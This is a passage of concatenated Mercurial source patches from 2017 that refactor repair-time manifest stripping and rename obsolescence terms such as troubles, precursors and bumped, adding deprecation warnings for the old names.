-ignore = {'highlight', 'win32text', 'factotum'}
+ignore = {b'highlight', b'win32text', b'factotum'}
 
 if os.name != 'nt':
-    ignore.add('win32mbcs')
+    ignore.add(b'win32mbcs')
 
 disabled = [ext for ext in extensions.disabled().keys() if ext not in ignore]
 
-hgrc = open(os.environ["HGRCPATH"], 'w')
-hgrc.write('[extensions]\n')
+hgrc = open(os.environ["HGRCPATH"], 'wb')
+hgrc.write(b'[extensions]\n')
 
 for ext in disabled:
-    hgrc.write(ext + '=\n')
+    hgrc.write(ext + b'=\n')
 
 hgrc.close()
 
@@ -30,7 +30,7 @@
     option[0] and globalshort.add(option[0])
     option[1] and globallong.add(option[1])
 
-for cmd, entry in commands.table.iteritems():
+for cmd, entry in commands.table.items():
     seenshort = globalshort.copy()
     seenlong = globallong.copy()
     for option in entry[1]:
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1502238338 25200
#      Tue Aug 08 17:25:38 2017 -0700
# Node ID 6626d12e7a853e70b5f5ed3049af080ec3132f44
# Parent  5b2f331d0a33772ad22f4fa53b4de38a4ac8887f
repair: refactor broken linkrev collection

This refactors broken linkrev collection such that manifest collection is in a
separate function. This allows extensions to replace the manifest collection
with a non-revlog oriented version.

I considered moving the collect changes function onto the manifestlog itself, so
it would be behind the abstraction, but since the store we're building doesn't
even have the concept of strip, embeding that concept in the manifestlog api
seemed odd.

Differential Revision: https://phab.mercurial-scm.org/D291

diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -67,16 +67,20 @@
 
     return sorted(files)
 
+def _collectrevlog(revlog, striprev):
+    _, brokenset = revlog.getstrippoint(striprev)
+    return [revlog.linkrev(r) for r in brokenset]
+
+def _collectmanifest(repo, striprev):
+    return _collectrevlog(repo.manifestlog._revlog, striprev)
+
 def _collectbrokencsets(repo, files, striprev):
     """return the changesets which will be broken by the truncation"""
     s = set()
-    def collectone(revlog):
-        _, brokenset = revlog.getstrippoint(striprev)
-        s.update([revlog.linkrev(r) for r in brokenset])
 
-    collectone(repo.manifestlog._revlog)
+    s.update(_collectmanifest(repo, striprev))
     for fname in files:
-        collectone(repo.file(fname))
+        s.update(_collectrevlog(repo.file(fname), striprev))
 
     return s
 
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1502238338 25200
#      Tue Aug 08 17:25:38 2017 -0700
# Node ID 86ea201eaeb9c281d73c707f63c87f5af04fdfe6
# Parent  6626d12e7a853e70b5f5ed3049af080ec3132f44
repair: move manifest strip to a separate function

This moves manifest stripping to a separate function so implementations of the
manifest that don't support stripping can replace this function with a no-op.

I considered adding a strip api to the manifestlog, so other implementations
could make it a no-op there, but it seems like strip might be unique to the
revlog implementation, and therefore shouldn't be present on the generic api.

Differential Revision: https://phab.mercurial-scm.org/D292

diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -178,16 +178,13 @@
         tmpbundlefile = _bundle(repo, savebases, saveheads, node, 'temp',
                                 compress=False, obsolescence=False)
 
-    mfst = repo.manifestlog._revlog
-
     try:
         with repo.transaction("strip") as tr:
             offset = len(tr.entries)
 
             tr.startgroup()
             cl.strip(striprev, tr)
-            mfst.strip(striprev, tr)
-            striptrees(repo, tr, striprev, files)
+            stripmanifest(repo, striprev, tr, files)
 
             for fn in files:
                 repo.file(fn).strip(striprev, tr)
@@ -314,6 +311,11 @@
         callback.topic = topic
     callback.addnodes(nodelist)
 
+def stripmanifest(repo, striprev, tr, files):
+    revlog = repo.manifestlog._revlog
+    revlog.strip(striprev, tr)
+    striptrees(repo, tr, striprev, files)
+
 def striptrees(repo, tr, striprev, files):
     if 'treemanifest' in repo.requirements: # safe but unnecessary
                                             # otherwise
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501691679 -7200
#      Wed Aug 02 18:34:39 2017 +0200
# Node ID ab0c55c2ad9ac2e3bce8bceb4151588c52bd0169
# Parent  86ea201eaeb9c281d73c707f63c87f5af04fdfe6
context: rename troubles into instabilities

Rename troubles context method into instabilities.

Copy the old troubles method and add a deprecation warning. This way
extensions calling troubles will see the deprecation warning but will not
break due to new return values.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D238

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1466,8 +1466,8 @@
         labels.append('changeset.obsolete')
     if ctx.troubled():
         labels.append('changeset.troubled')
-        for trouble in ctx.troubles():
-            labels.append('trouble.%s' % trouble)
+        for instability in ctx.instabilities():
+            labels.append('trouble.%s' % instability)
     return ' '.join(labels)
 
 class changeset_printer(object):
@@ -1579,7 +1579,8 @@
 
         if ctx.troubled():
             # i18n: column positioning for "hg log"
-            self.ui.write(_("instability: %s\n") % ', '.join(ctx.troubles()),
+            instabilities = ctx.instabilities()
+            self.ui.write(_("instability: %s\n") % ', '.join(instabilities),
                           label='log.trouble')
 
         self._exthook(ctx)
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4850,9 +4850,10 @@
         if p.obsolete():
             ui.write(_(' (obsolete)'))
         if p.troubled():
+            instabilities = (ui.label(instability, 'trouble.%s' % instability)
+                             for instability in p.instabilities())
             ui.write(' ('
-                     + ', '.join(ui.label(trouble, 'trouble.%s' % trouble)
-                                 for trouble in p.troubles())
+                     + ', '.join(instabilities)
                      + ')')
         ui.write('\n')
         if p.description():
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -226,21 +226,38 @@
         return self.unstable() or self.bumped() or self.divergent()
 
     def troubles(self):
-        """return the list of troubles affecting this changesets.
+        """Keep the old version around in order to avoid breaking extensions
+        about different return values.
+        """
+        msg = ("'context.troubles' is deprecated, "
+               "use 'context.instabilities'")
+        self._repo.ui.deprecwarn(msg, '4.4')
 
-        Troubles are returned as strings. possible values are:
+        troubles = []
+        if self.unstable():
+            troubles.append('orphan')
+        if self.bumped():
+            troubles.append('bumped')
+        if self.divergent():
+            troubles.append('divergent')
+        return troubles
+
+    def instabilities(self):
+        """return the list of instabilities affecting this changeset.
+
+        Instabilities are returned as strings. possible values are:
         - orphan,
         - phase-divergent,
         - content-divergent.
         """
-        troubles = []
+        instabilities = []
         if self.unstable():
-            troubles.append('orphan')
+            instabilities.append('orphan')
         if self.bumped():
-            troubles.append('phase-divergent')
+            instabilities.append('phase-divergent')
         if self.divergent():
-            troubles.append('content-divergent')
-        return troubles
+            instabilities.append('content-divergent')
+        return instabilities
 
     def parents(self):
         """return contexts for each parent changeset"""
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -681,7 +681,9 @@
                 if ctx.obsolete():
                     raise error.Abort(mso % ctx)
                 elif ctx.troubled():
-                    raise error.Abort(mst[ctx.troubles()[0]] % ctx)
+                    # TODO print more than one instability in the abort
+                    # message
+                    raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
 
         discovery.checkheads(pushop)
     return True
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -783,7 +783,7 @@
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
-    return showlist('trouble', args['ctx'].troubles(), args)
+    return showlist('trouble', args['ctx'].instabilities(), args)
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = keywords.values()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501692632 -7200
#      Wed Aug 02 18:50:32 2017 +0200
# Node ID f163edb45c4705ba377e45da477de48ba90e9c91
# Parent  ab0c55c2ad9ac2e3bce8bceb4151588c52bd0169
context: rename unstable into orphan

Rename unstable context method into orphan and add a deprecation
warning on unstable.

Only update all callers to keep the patch straightforward.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D239

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -204,6 +204,12 @@
         return self.rev() in obsmod.getrevs(self._repo, 'extinct')
 
     def unstable(self):
+        msg = ("'context.unstable' is deprecated, "
+               "use 'context.orphan'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.orphan()
+
+    def orphan(self):
         """True if the changeset is not obsolete but it's ancestor are"""
         return self.rev() in obsmod.getrevs(self._repo, 'unstable')
 
@@ -223,7 +229,7 @@
 
     def troubled(self):
         """True if the changeset is either unstable, bumped or divergent"""
-        return self.unstable() or self.bumped() or self.divergent()
+        return self.orphan() or self.bumped() or self.divergent()
 
     def troubles(self):
         """Keep the old version around in order to avoid breaking extensions
@@ -234,7 +240,7 @@
         self._repo.ui.deprecwarn(msg, '4.4')
 
         troubles = []
-        if self.unstable():
+        if self.orphan():
             troubles.append('orphan')
         if self.bumped():
             troubles.append('bumped')
@@ -251,7 +257,7 @@
         - content-divergent.
         """
         instabilities = []
-        if self.unstable():
+        if self.orphan():
             instabilities.append('orphan')
         if self.bumped():
             instabilities.append('phase-divergent')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501693368 -7200
#      Wed Aug 02 19:02:48 2017 +0200
# Node ID 8b2d7684407b4bd0d33fea17e4812f0327abe423
# Parent  f163edb45c4705ba377e45da477de48ba90e9c91
context: rename divergent into contentdivergent

Rename divergent context method into contentdivergent and add a deprecation
warning on divergent.

Only update all callers to keep the patch straightforward.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D240

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -221,6 +221,12 @@
         return self.rev() in obsmod.getrevs(self._repo, 'bumped')
 
     def divergent(self):
+        msg = ("'context.divergent' is deprecated, "
+               "use 'context.contentdivergent'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.contentdivergent()
+
+    def contentdivergent(self):
         """Is a successors of a changeset with multiple possible successors set
 
         Only non-public and non-obsolete changesets may be divergent.
@@ -229,7 +235,7 @@
 
     def troubled(self):
         """True if the changeset is either unstable, bumped or divergent"""
-        return self.orphan() or self.bumped() or self.divergent()
+        return self.orphan() or self.bumped() or self.contentdivergent()
 
     def troubles(self):
         """Keep the old version around in order to avoid breaking extensions
@@ -244,7 +250,7 @@
             troubles.append('orphan')
         if self.bumped():
             troubles.append('bumped')
-        if self.divergent():
+        if self.contentdivergent():
             troubles.append('divergent')
         return troubles
 
@@ -261,7 +267,7 @@
             instabilities.append('orphan')
         if self.bumped():
             instabilities.append('phase-divergent')
-        if self.divergent():
+        if self.contentdivergent():
             instabilities.append('content-divergent')
         return instabilities
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501693740 -7200
#      Wed Aug 02 19:09:00 2017 +0200
# Node ID 8413cbeae275c9ab1777aad190bd65067bb5caed
# Parent  8b2d7684407b4bd0d33fea17e4812f0327abe423
context: rename bumped into phasedivergent

Rename bumped context method into phasedivergent and add a deprecation warning
on bumped.

Only update all callers to keep the patch straightforward.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D241

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -214,6 +214,12 @@
         return self.rev() in obsmod.getrevs(self._repo, 'unstable')
 
     def bumped(self):
+        msg = ("'context.bumped' is deprecated, "
+               "use 'context.phasedivergent'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.phasedivergent()
+
+    def phasedivergent(self):
         """True if the changeset try to be a successor of a public changeset
 
         Only non-public and non-obsolete changesets may be bumped.
@@ -235,7 +241,7 @@
 
     def troubled(self):
         """True if the changeset is either unstable, bumped or divergent"""
-        return self.orphan() or self.bumped() or self.contentdivergent()
+        return self.orphan() or self.phasedivergent() or self.contentdivergent()
 
     def troubles(self):
         """Keep the old version around in order to avoid breaking extensions
@@ -248,7 +254,7 @@
         troubles = []
         if self.orphan():
             troubles.append('orphan')
-        if self.bumped():
+        if self.phasedivergent():
             troubles.append('bumped')
         if self.contentdivergent():
             troubles.append('divergent')
@@ -265,7 +271,7 @@
         instabilities = []
         if self.orphan():
             instabilities.append('orphan')
-        if self.bumped():
+        if self.phasedivergent():
             instabilities.append('phase-divergent')
         if self.contentdivergent():
             instabilities.append('content-divergent')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501694036 -7200
#      Wed Aug 02 19:13:56 2017 +0200
# Node ID 52c5ff856b49ac8f2a4eadda6dc9dbb070f39a3f
# Parent  8413cbeae275c9ab1777aad190bd65067bb5caed
context: rename troubled into isunstable

As we changed the meaning of unstable between the old vocabulary and the new
one, we can't reuse the unstable method name at the risk of breaking
extensions calling unstable and getting a wrong result.

Instead rename troubled into isunstable so extensions will continue to work.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D242

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1464,7 +1464,7 @@
     labels = ['log.changeset', 'changeset.%s' % ctx.phasestr()]
     if ctx.obsolete():
         labels.append('changeset.obsolete')
-    if ctx.troubled():
+    if ctx.isunstable():
         labels.append('changeset.troubled')
         for instability in ctx.instabilities():
             labels.append('trouble.%s' % instability)
@@ -1577,7 +1577,7 @@
         self.ui.write(_("date:        %s\n") % date,
                       label='log.date')
 
-        if ctx.troubled():
+        if ctx.isunstable():
             # i18n: column positioning for "hg log"
             instabilities = ctx.instabilities()
             self.ui.write(_("instability: %s\n") % ', '.join(instabilities),
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4849,7 +4849,7 @@
                 ui.write(_(' (no revision checked out)'))
         if p.obsolete():
             ui.write(_(' (obsolete)'))
-        if p.troubled():
+        if p.isunstable():
             instabilities = (ui.label(instability, 'trouble.%s' % instability)
                              for instability in p.instabilities())
             ui.write(' ('
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -240,6 +240,12 @@
         return self.rev() in obsmod.getrevs(self._repo, 'divergent')
 
     def troubled(self):
+        msg = ("'context.troubled' is deprecated, "
+               "use 'context.isunstable'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.unstable()
+
+    def isunstable(self):
         """True if the changeset is either unstable, bumped or divergent"""
         return self.orphan() or self.phasedivergent() or self.contentdivergent()
 
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -680,7 +680,7 @@
                 ctx = unfi[node]
                 if ctx.obsolete():
                     raise error.Abort(mso % ctx)
-                elif ctx.troubled():
+                elif ctx.isunstable():
                     # TODO print more than one instability in the abort
                     # message
                     raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501694459 -7200
#      Wed Aug 02 19:20:59 2017 +0200
# Node ID 2cb442bc1a764add77a555b1310ad7240238320a
# Parent  52c5ff856b49ac8f2a4eadda6dc9dbb070f39a3f
obsmarker: rename precnode into prednode

Rename prednode (predecessors node) into precnode (precursors node) in markers
class. Use util.nouideprecwarn because markers doesn't have easy access to an
ui object.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D243

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1913,7 +1913,7 @@
     To be used by debug function."""
     if index is not None:
         fm.write('index', '%i ', index)
-    fm.write('precnode', '%s ', hex(marker.precnode()))
+    fm.write('precnode', '%s ', hex(marker.prednode()))
     succs = marker.succnodes()
     fm.condwrite(succs, 'succnodes', '%s ',
                  fm.formatlist(map(hex, succs), name='node'))
diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -9,6 +9,7 @@
 
 from . import (
     phases,
+    util
 )
 
 class marker(object):
@@ -29,7 +30,13 @@
         return self._data == other._data
 
     def precnode(self):
-        """Precursor changeset node identifier"""
+        msg = ("'marker.precnode' is deprecated, "
+               "use 'marker.precnode'")
+        util.nouideprecwarn(msg, '4.4')
+        return self.prednode()
+
+    def prednode(self):
+        """Predecessor changeset node identifier"""
         return self._data[0]
 
     def succnodes(self):
@@ -37,7 +44,7 @@
         return self._data[1]
 
     def parentnodes(self):
-        """Parents of the precursors (None if not recorded)"""
+        """Parents of the predecessors (None if not recorded)"""
         return self._data[5]
 
     def metadata(self):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501695255 -7200
#      Wed Aug 02 19:34:15 2017 +0200
# Node ID 32d4f815c4f40528b46cefabce80c95b52f78ead
# Parent  2cb442bc1a764add77a555b1310ad7240238320a
obsolete: rename _addprecursors into _addpredecessors

Use util.nouideprecwarn because _addpredecessors doesn't have easy access to
an ui object.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D244

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -470,11 +470,18 @@
     for mark in markers:
         successors.setdefault(mark[0], set()).add(mark)
 
+def _addprecursors(*args, **kwargs):
+    msg = ("'obsolete._addprecursors' is deprecated, "
+           "use 'obsolete._addpredecessors'")
+    util.nouideprecwarn(msg, '4.4')
+
+    return _addpredecessors(*args, **kwargs)
+
 @util.nogc
-def _addprecursors(precursors, markers):
+def _addpredecessors(predecessors, markers):
     for mark in markers:
         for suc in mark[1]:
-            precursors.setdefault(suc, set()).add(mark)
+            predecessors.setdefault(suc, set()).add(mark)
 
 @util.nogc
 def _addchildren(children, markers):
@@ -660,9 +667,9 @@
 
     @propertycache
     def precursors(self):
-        precursors = {}
-        _addprecursors(precursors, self._all)
-        return precursors
+        predecessors = {}
+        _addpredecessors(predecessors, self._all)
+        return predecessors
 
     @propertycache
     def children(self):
@@ -680,7 +687,7 @@
         if self._cached('successors'):
             _addsuccessors(self.successors, markers)
         if self._cached('precursors'):
-            _addprecursors(self.precursors, markers)
+            _addpredecessors(self.precursors, markers)
         if self._cached('children'):
             _addchildren(self.children, markers)
         _checkinvalidmarkers(markers)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501695548 -7200
#      Wed Aug 02 19:39:08 2017 +0200
# Node ID d5acd967f95ae1941ddc289cecde8f3d66b2a249
# Parent  32d4f815c4f40528b46cefabce80c95b52f78ead
obsstore: rename precursors into predecessors

Use util.nouideprecwarn because obsstore doesn't have easy access to an ui
object.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D245

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -665,8 +665,16 @@
         _addsuccessors(successors, self._all)
         return successors
 
+    @property
+    def precursors(self):
+        msg = ("'obsstore.precursors' is deprecated, "
+               "use 'obsstore.predecessors'")
+        util.nouideprecwarn(msg, '4.4')
+
+        return self.predecessors
+
     @propertycache
-    def precursors(self):
+    def predecessors(self):
         predecessors = {}
         _addpredecessors(predecessors, self._all)
         return predecessors
@@ -686,8 +694,8 @@
         self._all.extend(markers)
         if self._cached('successors'):
             _addsuccessors(self.successors, markers)
-        if self._cached('precursors'):
-            _addpredecessors(self.precursors, markers)
+        if self._cached('predecessors'):
+            _addpredecessors(self.predecessors, markers)
         if self._cached('children'):
             _addchildren(self.children, markers)
         _checkinvalidmarkers(markers)
@@ -706,7 +714,7 @@
         pendingnodes = set(nodes)
         seenmarkers = set()
         seennodes = set(pendingnodes)
-        precursorsmarkers = self.precursors
+        precursorsmarkers = self.predecessors
         succsmarkers = self.successors
         children = self.children
         while pendingnodes:
@@ -957,7 +965,7 @@
     obsstore = repo.obsstore
     newermap = {}
     for ctx in repo.set('(not public()) - obsolete()'):
-        mark = obsstore.precursors.get(ctx.node(), ())
+        mark = obsstore.predecessors.get(ctx.node(), ())
         toprocess = set(mark)
         seen = set()
         while toprocess:
@@ -971,7 +979,7 @@
             if len(newer) > 1:
                 divergent.add(ctx.rev())
                 break
-            toprocess.update(obsstore.precursors.get(prec, ()))
+            toprocess.update(obsstore.predecessors.get(prec, ()))
     return divergent
 
 
diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -81,7 +81,7 @@
     considered missing.
     """
 
-    precursors = repo.obsstore.precursors
+    precursors = repo.obsstore.predecessors
     stack = [nodeid]
     seen = set(stack)
 
@@ -115,7 +115,7 @@
     while remaining:
         current = remaining.pop()
         yield current
-        for mark in obsstore.precursors.get(current, ()):
+        for mark in obsstore.predecessors.get(current, ()):
             # ignore marker flagged with specified flag
             if mark[2] & ignoreflags:
                 continue
@@ -207,7 +207,7 @@
 
     # shortcut to various useful item
     nm = unfi.changelog.nodemap
-    precursorsmarkers = unfi.obsstore.precursors
+    precursorsmarkers = unfi.obsstore.predecessors
     successormarkers = unfi.obsstore.successors
     childrenmarkers = unfi.obsstore.children
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501696086 -7200
#      Wed Aug 02 19:48:06 2017 +0200
# Node ID 0c3112f17610ccd87d984586ec0083cbfb116954
# Parent  d5acd967f95ae1941ddc289cecde8f3d66b2a249
obsolete: rename precursor into predecessor in obsolete docstrings

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D246

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -20,12 +20,12 @@
 besides old and news changeset identifiers, such as creation date or
 author name.
 
-The old obsoleted changeset is called a "precursor" and possible
+The old obsoleted changeset is called a "predecessor" and possible
 replacements are called "successors". Markers that used changeset X as
-a precursor are called "successor markers of X" because they hold
+a predecessor are called "successor markers of X" because they hold
 information about the successors of X. Markers that use changeset Y as
-a successors are call "precursor markers of Y" because they hold
-information about the precursors of Y.
+a successors are call "predecessor markers of Y" because they hold
+information about the predecessors of Y.
 
 Examples:
 
@@ -294,11 +294,11 @@
 #
 # - uint8: number of metadata entries M
 #
-# - 20 or 32 bytes: precursor changeset identifier.
+# - 20 or 32 bytes: predecessor changeset identifier.
 #
 # - N*(20 or 32) bytes: successors changesets identifiers.
 #
-# - P*(20 or 32) bytes: parents of the precursors changesets.
+# - P*(20 or 32) bytes: parents of the predecessors changesets.
 #
 # - M*(uint8, uint8): size of all metadata entries (key and value)
 #
@@ -506,18 +506,18 @@
     """Store obsolete markers
 
     Markers can be accessed with two mappings:
-    - precursors[x] -> set(markers on precursors edges of x)
+    - predecessors[x] -> set(markers on predecessors edges of x)
     - successors[x] -> set(markers on successors edges of x)
-    - children[x]   -> set(markers on precursors edges of children(x)
+    - children[x]   -> set(markers on predecessors edges of children(x)
     """
 
     fields = ('prec', 'succs', 'flag', 'meta', 'date', 'parents')
-    # prec:    nodeid, precursor changesets
+    # prec:    nodeid, predecessors changesets
     # succs:   tuple of nodeid, successor changesets (0-N length)
     # flag:    integer, flag field carrying modifier for the markers (see doc)
     # meta:    binary blob, encoded metadata dictionary
     # date:    (float, int) tuple, date of marker creation
-    # parents: (tuple of nodeid) or None, parents of precursors
+    # parents: (tuple of nodeid) or None, parents of predecessors
     #          None is used when no data has been recorded
 
     def __init__(self, svfs, defaultformat=_fm1version, readonly=False):
@@ -707,7 +707,8 @@
 
         - marker that use this changeset as successor
         - prune marker of direct children on this changeset
-        - recursive application of the two rules on precursors of these markers
+        - recursive application of the two rules on predecessors of these
+          markers
 
         It is a set so you cannot rely on order."""
 
@@ -947,12 +948,12 @@
         rev = ctx.rev()
         # We only evaluate mutable, non-obsolete revision
         node = ctx.node()
-        # (future) A cache of precursors may worth if split is very common
+        # (future) A cache of predecessors may worth if split is very common
         for pnode in obsutil.allprecursors(repo.obsstore, [node],
                                    ignoreflags=bumpedfix):
             prev = torev(pnode) # unfiltered! but so is phasecache
             if (prev is not None) and (phase(repo, prev) <= public):
-                # we have a public precursor
+                # we have a public predecessor
                 bumped.add(rev)
                 break # Next draft!
     return bumped
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501696197 -7200
#      Wed Aug 02 19:49:57 2017 +0200
# Node ID e6d8ee3c9ec3b787221365041407e36ac58db75f
# Parent  0c3112f17610ccd87d984586ec0083cbfb116954
obsutil: rename allprecursors into allpredecessors

Use util.nouideprecwarn because obsstore doesn't have easy access to an ui
object.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D247

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -41,7 +41,7 @@
     encoding,
     error,
     mdiff,
-    obsolete,
+    obsutil,
     patch,
     registrar,
     scmutil,
@@ -167,7 +167,7 @@
     for node in nodelist:
         ctx = unfi[node]
         # For tags like "D123", put them into "toconfirm" to verify later
-        precnodes = list(obsolete.allprecursors(unfi.obsstore, [node]))
+        precnodes = list(obsutil.allpredecessors(unfi.obsstore, [node]))
         for n in precnodes:
             if n in nodemap:
                 for tag in unfi.nodetags(n):
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -949,7 +949,7 @@
         # We only evaluate mutable, non-obsolete revision
         node = ctx.node()
         # (future) A cache of predecessors may worth if split is very common
-        for pnode in obsutil.allprecursors(repo.obsstore, [node],
+        for pnode in obsutil.allpredecessors(repo.obsstore, [node],
                                    ignoreflags=bumpedfix):
             prev = torev(pnode) # unfiltered! but so is phasecache
             if (prev is not None) and (phase(repo, prev) <= public):
diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -102,7 +102,16 @@
             else:
                 stack.append(precnodeid)
 
-def allprecursors(obsstore, nodes, ignoreflags=0):
+def allprecursors(*args, **kwargs):
+    """ (DEPRECATED)
+    """
+    msg = ("'obsutil.allprecursors' is deprecated, "
+           "use 'obsutil.allpredecessors'")
+    util.nouideprecwarn(msg, '4.4')
+
+    return allpredecessors(*args, **kwargs)
+
+def allpredecessors(obsstore, nodes, ignoreflags=0):
     """Yield node for every precursors of <nodes>.
 
     Some precursors may be unknown locally.
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1502389421 14400
#      Thu Aug 10 14:23:41 2017 -0400
# Node ID 86aca74a063bdd3e9627f069568322981f4dee68
# Parent  e6d8ee3c9ec3b787221365041407e36ac58db75f
# Parent  98e990bb733008e2f7589bb7b276c16dd3aad5e4
merge with stable

diff --git a/.hgsigs b/.hgsigs
--- a/.hgsigs
+++ b/.hgsigs
@@ -147,3 +147,5 @@
 c850f0ed54c1d42f9aa079ad528f8127e5775217 0 iQIVAwUAWTQINUemf/qjRqrOAQjZDw//b4pEgHYfWRVDEmLZtevysfhlJzbSyLAnWgNnRUVdSwl4WRF1r6ds/q7N4Ege5wQHjOpRtx4jC3y/riMbrLUlaeUXzCdqKgm4JcINS1nXy3IfkeDdUKyOR9upjaVhIEzCMRpyzabdYuflh5CoxayO7GFk2iZ8c1oAl4QzuLSspn9w+znqDg0HrMDbRNijStSulNjkqutih9UqT/PYizhE1UjL0NSnpYyD1vDljsHModJc2dhSzuZ1c4VFZHkienk+CNyeLtVKg8aC+Ej/Ppwq6FlE461T/RxOEzf+WFAc9F4iJibSN2kAFB4ySJ43y+OKkvzAwc5XbUx0y6OlWn2Ph+5T54sIwqasG3DjXyVrwVtAvCrcWUmOyS0RfkKoDVepMPIhFXyrhGqUYSq25Gt6tHVtIrlcWARIGGWlsE+PSHi87qcnSjs4xUzZwVvJWz4fuM1AUG/GTpyt4w3kB85XQikIINkmSTmsM/2/ar75T6jBL3kqOCGOL3n7bVZsGXllhkkQ7e/jqPPWnNXm8scDYdT3WENNu34zZp5ZmqdTXPAIIaqGswnU04KfUSEoYtOMri3E2VvrgMkiINm9BOKpgeTsMb3dkYRw2ZY3UAH9QfdX9BZywk6v3kkE5ghLWMUoQ4sqRlTo7mJKA8+EodjmIGRV/kAv1f7pigg6pIWWEyo=
